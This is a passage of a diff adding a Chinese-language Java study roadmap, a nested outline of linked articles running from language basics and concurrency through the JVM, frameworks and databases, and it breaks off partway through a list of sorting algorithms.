+ * [什么是多态](/basics/object-oriented/polymorphism.md)
+
+ * [方法重写与重载](/basics/object-oriented/overloading-vs-overriding.md)
+
+ * [Java的继承与实现](/basics/object-oriented/extends-implement.md)
+
+ * [Java为什么不支持多继承](/basics/object-oriented/multiple-inheritance.md)
+
+ * [Java的继承与组合](/basics/object-oriented/inheritance-composition.md)
+
+ * [构造函数与默认构造函数](/basics/object-oriented/constructor.md)
+
+ * [类变量、成员变量和局部变量](/basics/object-oriented/variable.md)
+
+ * [成员变量和方法作用域](/basics/object-oriented/scope.md)
+
+ * 平台无关性
+
+ * [Java如何实现的平台无关性的](/basics/object-oriented/platform-independent.md)
+
+ * [JVM还支持哪些语言](/basics/object-oriented/jvm-language.md)
+
+ * 值传递
+
+ * [值传递、引用传递](/basics/object-oriented/java-pass-by.md)
+
+ * [为什么说Java中只有值传递](/basics/object-oriented/why-pass-by-reference.md)
+
+ * Java基础知识
+
+ * 基本数据类型
+
+ * [8种基本数据类型](/basics/java-basic/basic-data-types.md)
+
+ * [整型中byte、short、int、long的取值范围](/basics/java-basic/integer-scope.md)
+
+ * [什么是浮点型?](/basics/java-basic/float.md)
+
+ * [什么是单精度和双精度?](/basics/java-basic/single-double-float.md)
+
+ * [为什么不能用浮点型表示金额?](/basics/java-basic/float-amount.md)
+
+ * 自动拆装箱
+
+ * [自动拆装箱](/basics/java-basic/boxing-unboxing.md)
+
+ * [Integer的缓存机制](/basics/java-basic/integer-cache.md)
+
+ * [如何正确定义接口的返回值(boolean/Boolean)类型及命名(success/isSuccess)](/basics/java-basic/success-isSuccess-and-boolean-Boolean.md)
+
+ * String
+
+ * [字符串的不可变性](/basics/java-basic/final-string.md)
+
+ * [JDK 6和JDK 7中substring的原理及区别](/basics/java-basic/substring.md)
+
+ * [replaceFirst、replaceAll、replace区别](/basics/java-basic/replace-in-string.md)
+
+ * [String对“+”的重载](/basics/java-basic/string-append.md)
+
+ * [字符串拼接的几种方式和区别](/basics/java-basic/string-concat.md)
+
+ * [Java 8中的StringJoiner](/basics/java-basic/stringjoiner-in-java8.md)
+
+ * [String.valueOf和Integer.toString的区别](/basics/java-basic/value-of-vs-to-string.md)
+
+ * [switch对String的支持](/basics/java-basic/switch-string.md)
+
+ * [字符串池](/basics/java-basic/string-pool.md)
+
+ * [Class常量池](/basics/java-basic/class-contant-pool.md)
+
+ * [运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)
+
+ * [intern](/basics/java-basic/intern.md)
+
+ * [String有没有长度限制?](/basics/java-basic/length-of-string.md)
+
+ * Java中各种关键字
+
+ * [transient](basics/java-basic/transient-in-java.md)
+
+ * [instanceof](basics/java-basic/instanceof-in-java.md)
+
+ * [volatile](basics/concurrent-coding/volatile.md)
+
+ * [synchronized](basics/concurrent-coding/synchronized.md)
+
+ * [final](basics/java-basic/final-in-java.md)
+
+ * [static](basics/java-basic/static-in-java.md)
+
+ * [const](basics/java-basic/const-in-java.md)
+
+ * 集合类
+
+ * [Collection和Collections区别](/basics/java-basic/Collection-vs-Collections.md)
+
+ * 常用集合类的使用
+
+ * [Set和List区别?](/basics/java-basic/set-vs-list.md)
+
+ * [ArrayList和LinkedList和Vector的区别](/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md)
+
+ * [ArrayList使用了transient关键字进行存储优化,而Vector没有,为什么?](/basics/java-basic/why-transient-in-arraylist.md)
+
+ * [SynchronizedList和Vector的区别](/basics/java-basic/synchronizedlist-vector.md)
+
+ * [Set如何保证元素不重复?](/basics/java-basic/set-repetition.md)
+
+ * [HashMap、HashTable、ConcurrentHashMap区别](/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md)
+
+ * Java 8中Map相关的红黑树的引用背景、原理等
+
+ * [HashMap的容量、扩容](/basics/java-basic/hashmap-capacity.md)
+
+ * [HashMap中hash方法的原理](/basics/java-basic/hash-in-hashmap.md)
+
+ * [为什么HashMap的默认容量设置成16](/basics/java-basic/hashmap-default-capacity.md)
+
+ * [为什么HashMap的默认负载因子设置成0.75](/basics/java-basic/hashmap-default-loadfactor.md)
+
+ * [为什么建议设置HashMap的初始容量,设置多少合适](/basics/java-basic/hashmap-init-capacity.md)
+
+ * [Java 8中stream相关用法](/basics/java-basic/stream.md)
+
+ * [Apache集合处理工具类的使用](/basics/java-basic/apache-collections.md)
+
+ * 不同版本的JDK中HashMap的实现的区别以及原因
+
+ * [Arrays.asList获得的List使用时需要注意什么](/basics/java-basic/Arrays-asList.md)
+
+ * [Collection如何迭代](/basics/java-basic/iteration-of-collection.md)
+
+ * [Enumeration和Iterator区别](/basics/java-basic/Enumeration-vs-Iterator.md)
+
+ * [fail-fast 和 fail-safe](/basics/java-basic/fail-fast-vs-fail-safe.md)
+
+ * [如何在遍历的同时删除ArrayList中的元素](/basics/java-basic/delete-while-iterator.md)
+
+ * [CopyOnWriteArrayList](/basics/java-basic/CopyOnWriteArrayList.md)
+
+ * [ConcurrentSkipListMap](/basics/java-basic/ConcurrentSkipListMap.md)
+
+ * 枚举
+
+ * [枚举的用法](/basics/java-basic/enum-usage.md)
+
+ * [枚举的实现](/basics/java-basic/enum-impl.md)
+
+ * [枚举与单例](/basics/java-basic/enum-singleton.md)
+
+ * [Enum类](/basics/java-basic/enum-class.md)
+
+ * [Java枚举如何比较](/basics/java-basic/enum-compare.md)
+
+ * [switch对枚举的支持](/basics/java-basic/enum-switch.md)
+
+ * [枚举的序列化如何实现](/basics/java-basic/enum-serializable.md)
+
+ * [枚举的线程安全性问题](/basics/java-basic/enum-thread-safe.md)
+
+ * [为什么不建议在对外接口中使用枚举](/basics/java-basic/stop-use-enum-in-api.md)
+
+ * IO
+
+ * [字符流、字节流](/basics/java-basic/byte-stream-vs-character-stream.md)
+
+ * [输入流、输出流](/basics/java-basic/input-stream-vs-output-stream.md)
+
+ * [字节流和字符流之间的相互转换](/basics/java-basic/convert-bytestream-characterstream.md)
+
+ * [同步、异步](/basics/java-basic/synchronized-vs-asynchronization.md)
+
+ * [阻塞、非阻塞](/basics/java-basic/block-vs-non-blocking.md)
+
+ * [Linux 5种IO模型](/basics/java-basic/linux-io.md)
+
+ * [BIO、NIO和AIO的区别、三种IO的用法与原理](/basics/java-basic/bio-vs-nio-vs-aio.md)
+
+ * [netty](/basics/java-basic/netty.md)
+
+ * 反射
+
+ * [反射](/basics/java-basic/reflection.md)
+
+ * [反射有什么作用](/basics/java-basic/usage-of-reflection.md)
+
+ * [Class类](/basics/java-basic/Class.md)
+
+ * [反射与工厂模式实现Spring IOC](/basics/java-basic/ioc-implement-with-factory-and-reflection.md)
+
+ * `java.lang.reflect.*`
+
+ * 动态代理
+
+ * [静态代理](/basics/java-basic/static-proxy.md)
+
+ * [动态代理](/basics/java-basic/dynamic-proxy.md)
+
+ * [动态代理和反射的关系](/basics/java-basic/dynamic-proxy-vs-reflection.md)
+
+ * [动态代理的几种实现方式](/basics/java-basic/dynamic-proxy-implementation.md)
+
+ * [AOP](/basics/java-basic/aop-vs-proxy.md)
+
+ * 序列化
+
+ * [什么是序列化与反序列化](basics/java-basic/serialize.md)
+
+ * [Java如何实现序列化与反序列化](basics/java-basic/serialize-in-java.md)
+
+ * [Serializable 和 Externalizable 有何不同](basics/java-basic/diff-serializable-vs-externalizable.md)
+
+ * 为什么序列化
+
+ * [serialVersionUID](basics/java-basic/serialVersionUID.md)
+
+ * [为什么serialVersionUID不能随便改](basics/java-basic/serialVersionUID-modify.md)
+
+ * [transient](basics/java-basic/transient-in-java.md)
+
+ * [序列化底层原理](basics/java-basic/serialize-principle.md)
+
+ * [序列化如何破坏单例模式](basics/java-basic/serialize-singleton.md)
+
+ * [protobuf](basics/java-basic/protobuf.md)
+
+ * [Apache-Commons-Collections的反序列化漏洞](basics/java-basic/bug-in-apache-commons-collections.md)
+
+ * [fastjson的反序列化漏洞](basics/java-basic/bug-in-fastjson.md)
+
+ * 注解
+
+ * [元注解](/basics/java-basic/meta-annotation.md)
+
+ * [自定义注解](/basics/java-basic/custom-annotation.md)
+
+ * [Java中常用注解使用](/basics/java-basic/annotation-in-java.md)
+
+ * [注解与反射的结合](/basics/java-basic/annotion-and-reflect.md)
+
+ * [如何自定义一个注解?](/basics/java-basic/create-annotation.md)
+
+ * [Spring常用注解](/basics/java-basic/annotation-in-spring.md)
+
+ * 泛型
+
+ * [什么是泛型](/basics/java-basic/generics.md)
+
+ * [类型擦除](/basics/java-basic/type-erasure.md)
+
+ * [泛型带来的问题](/basics/java-basic/generics-problem.md)
+
+ * [泛型中K T V E ? object等的含义](/basics/java-basic/k-t-v-e.md)
+
+ * 泛型各种用法
+
+ * [限定通配符和非限定通配符](/basics/java-basic/Wildcard-Character.md)
+
+ * [上下界限定符extends 和 super](/basics/java-basic/extends-vs-super.md)
+
+ * [`List`和原始类型`List`之间的区别?](/basics/java-basic/genericity-list.md)
+
+ * [`List>`和`List`之间的区别是什么?](/basics/java-basic/genericity-list-wildcard.md)
+
+ * 单元测试
+
+ * [junit](/basics/java-basic/junit.md)
+
+ * junit 和Spring 的结合
+
+ * [mock](/basics/java-basic/mock.md)
+
+ * [JMockit](/basics/java-basic/ut-with-jmockit.md)
+
+ * [内存数据库(h2)](/basics/java-basic/h2-db.md)
+
+ * 正则表达式
+
+ * `java.lang.util.regex.*`
+
+ * 常用的Java工具库
+
+ * `commons.lang`
+
+ * `commons.*...`
+
+ * `guava-libraries`
+
+ * `netty`
+
+ * API&SPI
+
+ * API
+
+ * [API和SPI的关系和区别](/basics/java-basic/api-vs-spi.md)
+
+ * [如何定义SPI](/basics/java-basic/create-spi.md)
+
+ * [SPI的实现原理](/basics/java-basic/spi-principle.md)
+
+ * 异常
+
+ * [Error和Exception](/basics/java-basic/error-vs-exception.md)
+
+ * [异常类型](/basics/java-basic/exception-type.md)
+
+ * [异常相关关键字](/basics/java-basic/keyword-about-exception.md)
+
+ * [正确处理异常](/basics/java-basic/handle-exception.md)
+
+ * [自定义异常](/basics/java-basic/define-exception.md)
+
+ * [异常链](/basics/java-basic/exception-chain.md)
+
+ * [try-with-resources](/basics/java-basic/try-with-resources.md)
+
+ * [finally和return的执行顺序](/basics/java-basic/order-about-finllly-return.md)
+
+ * 时间处理
+
+ * [时区](/basics/java-basic/time-zone.md)
+
+ * [冬令时和夏令时](/basics/java-basic/StandardTime-vs-daylightSavingTime.md)
+
+ * [时间戳](/basics/java-basic/timestamp.md)
+
+ * Java中时间API
+
+ * [格林威治时间](/basics/java-basic/GMT.md)
+
+ * [CET,UTC,GMT,CST几种常见时间的含义和关系](/basics/java-basic/CET-UTC-GMT-CST.md)
+
+ * [SimpleDateFormat的线程安全性问题](/basics/java-basic/simpledateformat-thread-safe.md)
+
+ * [Java 8中的时间处理](/basics/java-basic/time-in-java8.md)
+
+ * [如何在东八区的计算机上获取美国时间](/basics/java-basic/get-los_angeles-time.md)
+
+ * [yyyy和YYYY有什么区别?](/basics/java-basic/YYYY-vs-yyyy.md)
+
+ * 为什么日期格式化时必须有使用y表示年,而不能用Y?
+
+ * 编码方式
+
+ * [什么是ASCII?](/basics/java-basic/ASCII.md)
+
+ * [Unicode](/basics/java-basic/UNICODE.md)
+
+ * [有了Unicode为啥还需要UTF-8](/basics/java-basic/why-utf8.md)
+
+ * [UTF8、UTF16、UTF32区别](/basics/java-basic/UTF8-UTF16-UTF32.md)
+
+ * [有了UTF8为什么还需要GBK?](/basics/java-basic/why-gbk.md)
+
+ * [GBK、GB2312、GB18030之间的区别](/basics/java-basic/gbk-gb2312-gb18030.md)
+
+ * [URL编解码](/basics/java-basic/url-encode.md)
+
+ * [Big Endian和Little Endian](/basics/java-basic/big-endian-vs-little-endian.md)
+
+ * 如何解决乱码问题
+
+ * 语法糖
+
+ * [Java中语法糖原理、解语法糖](/basics/java-basic/syntactic-sugar.md)
+
+ * [语法糖介绍](/basics/java-basic/syntactic-sugar.md)
+
+ * JMS
+
+ * 什么是Java消息服务
+
+ * JMS消息传送模型
+
+ * JMX
+
+ * java.lang.management.*
+
+ * javax.management.*
+
+ * BigDecimal
+
+ * 为什么0.1+0.2不等于0.3
+
+ * [为什么不能使用BigDecimal的equals比较大小](/basics/java-basic/stop-using-equlas-in-bigdecimal.md)
+
+ * [为什么不能直接使用double创建一个BigDecimal](/basics/java-basic/stop-create-bigdecimal-with-double.md)
+
+ * Java 8
+
+ * [lambda表达式](/basics/java-basic/lambda.md)
+
+ * [Stream API](/basics/java-basic/stream.md)
+
+ * [时间API](/basics/java-basic/time-in-java8.md)
+
+ * 阅读源代码
+
+ * String
+
+ * Integer
+
+ * Long
+
+ * Enum
+
+ * BigDecimal
+
+ * ThreadLocal
+
+ * ClassLoader & URLClassLoader
+
+ * ArrayList & LinkedList
+
+ * HashMap & LinkedHashMap & TreeMap & CouncurrentHashMap
+
+ * HashSet & LinkedHashSet & TreeSet
+
+ * Java并发编程
+
+ * 并发与并行
+
+ * [什么是并发](/basics/concurrent-coding/concurrent.md)
+
+ * [什么是并行](/basics/concurrent-coding/parallel.md)
+
+ * [并发与并行的区别](/basics/concurrent-coding/concurrent-vs-parallel.md)
+
+ * 线程
+
+ * [线程与进程的区别](/basics/concurrent-coding/progress-vs-thread.md)
+
+ * [线程的特点](/basics/concurrent-coding/thread.md)
+
+ * [线程的实现](/basics/concurrent-coding/implement-of-thread.md)
+
+ * [线程的状态](/basics/concurrent-coding/state-of-thread.md)
+
+ * [线程优先级](/basics/concurrent-coding/priority-of-thread.md)
+
+ * [线程调度](/basics/concurrent-coding/thread-scheduling.md)
+
+ * [多线程如何Debug](/basics/concurrent-coding/debug-in-multithread.md)
+
+ * [守护线程](/basics/concurrent-coding/deamon-thread.md)
+
+ * 创建线程的多种方式
+
+ * [继承Thread类创建线程](/basics/concurrent-coding/create-thread-with-extends.md)
+
+ * [实现Runnable接口创建线程](/basics/concurrent-coding/create-thread-with-Implement.md)
+
+ * [通过Callable和FutureTask创建线程](/basics/concurrent-coding/create-thread-with-callback-future-task.md)
+
+ * [通过线程池创建线程](/basics/concurrent-coding/create-thread-with-thead-pool.md)
+
+ * 线程池
+
+ * 自己设计线程池
+
+ * submit() 和 execute()
+
+ * 线程池原理
+
+ * [为什么不允许使用Executors创建线程池](/basics/concurrent-coding/why-not-executors.md)
+
+ * 线程安全
+
+ * [什么是线程安全](/basics/concurrent-coding/thread-safe.md)
+
+ * 多级缓存和一致性问题
+
+ * CPU时间片和原子性问题
+
+ * 指令重排和有序性问题
+
+ * 线程安全和内存模型的关系
+
+ * happens-before
+
+ * as-if-serial
+
+ * 锁
+
+ * 可重入锁
+
+ * 阻塞锁
+
+ * 乐观锁与悲观锁
+
+ * 数据库相关锁机制
+
+ * 分布式锁
+
+ * 无锁
+
+ * CAS
+
+ * CAS的ABA问题
+
+ * 锁优化
+
+ * 偏向锁
+
+ * 轻量级锁
+
+ * 重量级锁
+
+ * 锁消除
+
+ * 锁粗化
+
+ * 自旋锁
+
+ * 死锁
+
+ * [什么是死锁](/basics/concurrent-coding/deadlock-java-level.md)
+
+ * 死锁的原因
+
+ * 如何避免死锁
+
+ * 写一个死锁的程序
+
+ * 死锁问题如何排查
+
+ * synchronized
+
+ * [synchronized是如何实现的?](/basics/concurrent-coding/synchronized.md)
+
+ * synchronized和lock之间关系
+
+ * 不使用synchronized如何实现一个线程安全的单例
+
+ * synchronized和原子性
+
+ * synchronized和可见性
+
+ * synchronized和有序性
+
+ * volatile
+
+ * 编译器指令重排和CPU指令重排
+
+ * volatile的实现原理
+
+ * 内存屏障
+
+ * volatile和原子性
+
+ * volatile和可见性
+
+ * volatile和有序性
+
+ * 有了synchronized为什么还需要volatile
+
+ * 线程相关方法
+
+ * start & run
+
+ * sleep 和 wait
+
+ * notify & notifyAll
+
+ * ThreadLocal
+
+ * ThreadLocal 原理
+
+ * ThreadLocal 底层的数据结构
+
+ * 写代码来解决生产者消费者问题
+
+ * 并发包
+
+ * 同步容器与并发容器
+
+ * Thread
+
+ * Runnable
+
+ * Callable
+
+ * ReentrantLock
+
+ * ReentrantReadWriteLock
+
+ * Atomic*
+
+ * Semaphore
+
+ * CountDownLatch
+
+ * ConcurrentHashMap
+
+ * Executors
+
+* 底层篇
+
+ * JVM
+
+ * JVM内存结构
+
+ * 运行时数据区
+
+ * [运行时数据区哪些是线程独享](/basement/jvm/exclusive-in-runtime-area.md)
+
+ * 堆和栈区别
+
+ * 方法区在不同版本JDK中的位置
+
+ * [运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)
+
+ * 堆外内存
+
+ * TLAB
+
+ * [Java中的对象一定在堆上分配吗?](/basement/jvm/stack-alloc.md)
+
+ * 垃圾回收
+
+ * GC算法:标记清除、引用计数、复制、标记压缩、分代回收、增量式回收
+
+ * GC参数
+
+ * 对象存活的判定
+
+ * 垃圾收集器(CMS、G1、ZGC、Epsilon)
+
+ * JVM参数及调优
+
+ * -Xmx
+
+ * -Xmn
+
+ * -Xms
+
+ * -Xss
+
+ * -XX:SurvivorRatio
+
+ * -XX:PermSize
+
+ * -XX:MaxPermSize
+
+ * -XX:MaxTenuringThreshold
+
+ * Java对象模型
+
+ * oop-klass
+
+ * 对象头
+
+ * HotSpot
+
+ * 即时编译器
+
+ * 编译优化
+
+ * Java内存模型
+
+ * 计算机内存模型
+
+ * 缓存一致性
+
+ * MESI协议
+
+ * 可见性
+
+ * 原子性
+
+ * 顺序性
+
+ * happens-before
+
+ * as-if-serial
+
+ * 内存屏障
+
+ * synchronized
+
+ * volatile
+
+ * final
+
+ * 锁
+
+ * 虚拟机性能监控与故障处理工具
+
+ * jps
+
+ * jstack
+
+ * jmap
+
+ * jstat
+
+ * jconsole
+
+ * jinfo
+
+ * jhat
+
+ * javap
+
+ * btrace
+
+ * TProfiler
+
+ * jlink
+
+ * Arthas
+
+ * 类加载机制
+
+ * classLoader
+
+ * 类加载过程是线程安全的吗?
+
+ * 类加载过程
+
+ * 如何判断JVM中类和其他类是不是同一个类
+
+ * [双亲委派原则](/basement/jvm/parents-delegate.md)
+
+ * [为什么需要双亲委派?](/basement/jvm/why-parents-delegate.md)
+
+ * [“父子加载器”之间的关系是继承吗?](/basement/jvm/relation-with-parents-delegate.md)
+
+ * [双亲委派是如何实现的?](/basement/jvm/implements-of-parents-delegate.md)
+
+ * [如何打破双亲委派](/basement/jvm/ibreak-parants-delegate.md)
+
+ * [如何自定义类加载器](/basement/jvm/define-class-loader.md)
+
+ * [双亲委派被破坏的例子](/basement/jvm/sample-of-break-parents-delegate.md)
+
+ * [为什么JNDI,JDBC等需要破坏双亲委派?](/basement/jvm/spi-parents-delegate.md)
+
+ * [为什么Tomcat要破坏双亲委派](/basement/jvm/tomcat-parents-delegate.md)
+
+ * [模块化(jboss modules、osgi、jigsaw)](/basement/jvm/moduler.md)
+
+ * 打包工具
+
+ * jar
+
+ * jlink
+
+ * jpackage
+
+ * 编译与反编译
+
+ * 什么是编译
+
+ * 什么是反编译
+
+ * [Class常量池](/basics/java-basic/class-contant-pool.md)
+
+ * 编译工具:javac
+
+ * 反编译工具:javap 、jad 、CRF
+
+ * JIT
+
+ * JIT优化(逃逸分析、栈上分配、标量替换、锁优化)
+
+
+
+* 进阶篇
+ * Java底层知识
+
+ * 字节码
+
+ * class文件格式
+
+ * CAFEBABE
+
+ * 位运算
+
+ * 用位运算实现加、减、乘、除、取余
+
+ * 设计模式
+
+ * 设计模式的六大原则
+
+ * 开闭原则(Open Close Principle)
+
+ * 里氏代换原则(Liskov Substitution Principle)
+
+ * 依赖倒转原则(Dependence Inversion Principle)
+
+ * 接口隔离原则(Interface Segregation Principle)
+
+ * 迪米特法则(最少知道原则)(Demeter Principle)
+
+ * 合成复用原则(Composite Reuse Principle)
+
+ * 创建型设计模式
+
+ * [单例模式](/advance/design-patterns/singleton-pattern.md)
+
+ * [抽象工厂模式](/advance/design-patterns/abstract-factory-pattern.md)
+
+ * [建造者模式](/advance/design-patterns/builder-pattern.md)
+
+ * [工厂模式](/advance/design-patterns/factory-method-pattern.md)
+
+ * 原型模式
+
+ * 结构型设计模式
+
+ * [适配器模式](/advance/design-patterns/adapter-pattern.md)
+
+ * 桥接模式
+
+ * 装饰模式
+
+ * 组合模式
+
+ * 外观模式
+
+ * 享元模式
+
+ * 代理模式
+
+ * 行为型设计模式
+
+ * 模版方法模式
+
+ * 命令模式
+
+ * [迭代器模式](/advance/design-patterns/iterator-pattern.md)
+
+ * 观察者模式
+
+ * 中介者模式
+
+ * 备忘录模式
+
+ * 解释器模式
+
+ * 状态模式
+
+ * [策略模式](/advance/design-patterns/strategy-pattern.md)
+
+ * 责任链模式
+
+ * 访问者模式
+
+ * 单例的七种写法
+
+ * 懒汉——线程不安全
+
+ * 懒汉——线程安全
+
+ * 饿汉
+
+ * 饿汉——变种
+
+ * 静态内部类
+
+ * 枚举
+
+ * 双重校验锁
+
+ * 为什么推荐使用枚举实现单例?
+
+ * 三种工厂模式的区别及联系
+
+ * 简单工厂、工厂方法、模板工厂
+
+ * 会使用常用设计模式
+
+ * 工厂模式
+
+ * 适配器模式
+
+ * 策略模式
+
+ * 模板方法模式
+
+ * 观察者模式
+
+ * 外观模式
+
+ * 代理模式
+
+ * 不用synchronized和lock,实现线程安全的单例模式
+
+ * nio和reactor设计模式
+
+ * Spring中用到了哪些设计模式
+
+ * 网络编程知识
+
+ * 常用协议
+
+ * tcp、udp、http、https
+
+ * 用Java实现FTP、SMTP协议
+
+ * OSI七层模型
+
+ * 每一层的主要协议
+
+ * TCP/UDP
+
+ * 三次握手与四次关闭
+
+ * 流量控制和拥塞控制
+
+ * tcp粘包与拆包
+
+ * TCP/IP
+
+ * IPV4
+
+ * IPV6
+
+ * HTTP
+ * http/1.0 http/1.1 http/2之间的区别
+
+ * http和https的区别
+
+ * http中 get和post区别
+
+ * 常见的web请求返回的状态码
+
+ * 404、302、301、500分别代表什么
+
+ * 用Java写一个简单的静态文件的HTTP服务器
+
+ * HTTP/2
+
+ * HTTP/2 存在哪些问题?
+
+ * HTTP/3
+
+ * Java RMI,Socket,HttpClient
+
+ * cookie 与 session
+
+ * cookie被禁用,如何实现session
+
+ * 了解nginx和apache服务器的特性并搭建一个对应的服务器
+
+ * 进程间通讯的方式
+
+ * 什么是CDN?如果实现?
+
+ * DNS?
+
+ * 什么是DNS
+
+ * 记录类型:A记录、CNAME记录、AAAA记录等
+
+ * 域名解析
+
+ * 根域名服务器
+
+ * DNS污染
+
+ * DNS劫持
+
+ * 公共DNS:114 DNS、Google DNS、OpenDNS
+
+ * 反向代理
+
+ * 正向代理
+
+ * 反向代理
+
+ * 反向代理服务器
+
+ * 框架知识
+
+ * Servlet
+
+ * 生命周期
+
+ * 线程安全问题
+
+ * filter和listener
+
+ * web.xml中常用配置及作用
+
+ * Hibernate
+
+ * 什么是OR Mapping
+
+ * Hibernate的缓存机制
+
+ * Hibernate的懒加载
+
+ * Hibernate/Ibatis/MyBatis之间的区别
+
+ * MyBatis
+
+ * Mybatis缓存机制
+
+ * `#{}`和`${}`的区别
+
+ * mapper中传递多个参数
+
+ * Mybatis动态sql
+
+ * Mybatis的延迟加载
+
+ * Spring
+
+ * Bean的初始化
+
+ * AOP原理
+
+ * Spring AOP不支持方法自调用的问题
+
+ * 实现Spring的IOC
+
+ * spring四种依赖注入方式
+
+ * 为什么我不建议使用@Transactional声明事务
+
+ * Spring MVC
+
+ * 什么是MVC
+
+ * Spring mvc与Struts mvc的区别
+
+ * Spring Boot
+
+ * Spring Boot 2.0
+
+ * 起步依赖
+
+ * 自动配置
+
+ * Spring Boot的starter原理
+
+ * 自己实现一个starter
+
+ * 为什么Spring Boot可以通过main启动web项目
+
+ * Spring Security
+
+ * Spring Cloud
+
+ * 服务发现与注册:Eureka、Zookeeper、Consul
+
+ * 负载均衡:Feign、Spring Cloud Loadbalance
+
+ * 服务配置:Spring Cloud Config
+
+ * 服务限流与熔断:Hystrix
+
+ * 服务链路追踪:Dapper
+
+ * 服务网关、安全、消息
+
+ * 应用服务器知识
+
+ * JBoss
+
+ * tomcat
+
+ * jetty
+
+ * Weblogic
+
+ * 工具
+
+ * git & svn
+
+ * maven & gradle
+
+ * git技巧
+
+ * 分支合并
+
+ * 冲突解决
+
+ * 提交回滚
+
+ * maven技巧
+
+ * 依赖树
+
+ * 依赖仲裁
+
+ * Intellij IDEA
+ * 常用插件:Maven Helper、FindBugs-IDEA、阿里巴巴代码规约检测、GsonFormat、Lombok plugin、.ignore、Mybatis plugin
+
+* 高级篇
+
+ * 新技术
+
+ * Java 9
+
+ * Jigsaw
+ * Jshell
+ * Reactive Streams
+
+ * Java 10
+
+ * 局部变量类型推断
+ * G1的并行Full GC
+ * ThreadLocal握手机制
+
+ * Java 11
+
+ * ZGC
+ * Epsilon
+ * 增强var
+ * Java 12
+
+ * Switch 表达式
+
+ * Java 13
+
+ * Text Blocks
+ * Dynamic CDS Archives
+
+ * Java 14
+
+ * Java打包工具
+
+ * 更有价值的NullPointerException
+
+ * record类型
+
+ * Spring 5
+
+ * 响应式编程
+
+ * Spring Boot 2.0
+
+ * http/2
+
+ * http/3
+
+ * 性能优化
+
+ * 使用单例
+
+ * 使用Future模式
+
+ * 使用线程池
+
+ * 选择就绪
+
+ * 减少上下文切换
+
+ * 减少锁粒度
+
+ * 数据压缩
+
+ * 结果缓存
+
+ * Stream并行流
+
+ * GC调优
+
+ * JVM内存分配调优
+
+ * SQL调优
+
+ * 线上问题分析
+
+ * dump
+
+ * 线程Dump
+
+ * 内存Dump
+
+ * gc情况
+
+ * dump获取及分析工具
+
+ * jstack
+
+ * jstat
+
+ * jmap
+
+ * jhat
+
+ * Arthas
+
+ * dump分析死锁
+
+ * dump分析内存泄露
+
+ * 自己编写各种outofmemory,stackoverflow程序
+
+ * HeapOutOfMemory
+
+ * Young OutOfMemory
+
+ * MethodArea OutOfMemory
+
+ * ConstantPool OutOfMemory
+
+ * DirectMemory OutOfMemory
+
+ * Stack OutOfMemory Stack OverFlow
+
+ * Arthas
+
+ * jvm相关
+
+ * class/classloader相关
+
+ * monitor/watch/trace相关
+
+ * options
+
+ * 管道
+
+ * 后台异步任务
+
+ * 常见问题解决思路
+
+ * 内存溢出
+
+ * 线程死锁
+
+ * 类加载冲突
+
+ * load飙高
+
+ * CPU利用率飙高
+
+ * 慢SQL
+
+ * 使用工具尝试解决以下问题,并写下总结
+
+ * 当一个Java程序响应很慢时如何查找问题
+
+ * 当一个Java程序频繁FullGC时如何解决问题
+
+ * 如何查看垃圾回收日志
+
+ * 当一个Java应用发生OutOfMemory时该如何解决
+
+ * 如何判断是否出现死锁
+
+ * 如何判断是否存在内存泄露
+
+ * 使用Arthas快速排查Spring Boot应用404/401问题
+
+ * 使用Arthas排查线上应用日志打满问题
+
+ * 利用Arthas排查Spring Boot应用NoSuchMethodError
+
+ * 编译原理知识
+
+ * 编译与反编译
+
+ * Java代码的编译与反编译
+
+ * Java的反编译工具
+
+ * javap
+
+ * jad
+
+ * CRF
+
+ * 即时编译器
+
+ * 编译器优化
+
+ * 操作系统知识
+
+ * Linux的常用命令
+
+ * find、grep、ps、cp、move、tar、head、tail、netstat、lsof、tree、wget、curl、ping、ssh、echo、free、top
+
+ * 为什么kill -9 不能随便执行
+
+ * rm一个被打开的文件会发生什么
+
+ * 进程间通信
+
+ * 服务器性能指标
+
+ * load
+
+ * CPU利用率
+
+ * 内存使用情况
+
+ * qps
+
+ * rt
+
+ * 进程同步
+
+ * 生产者消费者问题
+
+ * 哲学家就餐问题
+
+ * 读者写者问题
+
+ * 缓冲区溢出
+
+ * 分段和分页
+
+ * 虚拟内存与主存
+
+ * 虚拟内存管理
+
+ * 换页算法
+
+ * 数据库知识
+
+ * MySql 执行引擎
+
+ * MySQL 执行计划
+
+ * 如何查看执行计划
+
+ * 如何根据执行计划进行SQL优化
+
+ * 索引
+
+ * Hash索引&B树索引
+
+ * 普通索引&唯一索引
+
+ * 聚集索引&非聚集索引
+
+ * 覆盖索引
+
+ * 最左前缀原则
+
+ * 索引下推
+
+ * 索引失效
+
+ * 回表
+
+ * SQL优化
+
+ * 数据库事务和隔离级别
+
+ * 事务的ACID
+
+ * 事务的隔离级别与读现象
+
+ * 事务能不能实现锁的功能
+
+ * 编码方式
+
+ * utf8
+
+ * utf8mb4
+
+ * 为什么不要在数据库中使用utf8编码
+
+ * 行数统计
+
+ * count(1)、count(*)、count(字段)的区别
+
+ * 为什么建议使用count(*)
+
+ * 数据库锁
+
+ * 共享锁、排它锁
+
+ * 行锁、表锁
+
+ * 乐观锁、悲观锁
+
+ * 使用数据库锁实现乐观锁
+
+ * Gap Lock、Next-Key Lock
+
+ * 连接
+
+ * 内连接
+
+ * 左连接
+
+ * 右连接
+
+ * 数据库主备搭建
+
+ * log
+
+ * binlog
+
+ * redolog
+
+ * 内存数据库
+
+ * h2
+
+ * 分库分表
+
+ * 读写分离
+
+ * 常用的nosql数据库
+
+ * redis
+
+ * memcached
+
+ * Redis
+
+ * Redis多线程
+
+ * 分别使用数据库锁、NoSql实现分布式锁
+
+ * 性能调优
+
+ * 数据库连接池
+
+ * 数据结构与算法知识
+
+ * 简单的数据结构
+
+ * 栈
+ * 队列
+
+ * 链表
+
+ * 数组
+
+ * 哈希表
+
+ * 栈和队列的相同和不同之处
+
+ * 栈通常采用的两种存储结构
+
+ * 两个栈实现队列,和两个队列实现栈
+
+ * 树
+
+ * 二叉树
+
+ * 字典树
+
+ * 平衡树
+
+ * 排序树
+
+ * B树
+
+ * B+树
+
+ * R树
+
+ * 多路树
+
+ * 红黑树
+
+ * 堆
+
+ * 大根堆
+
+ * 小根堆
+
+ * 图
+
+ * 有向图
+
+ * 无向图
+
+ * 拓扑
+
+ * 稳定的排序算法
+ * 冒泡排序
+ * 插入排序
+ * 鸡尾酒排序
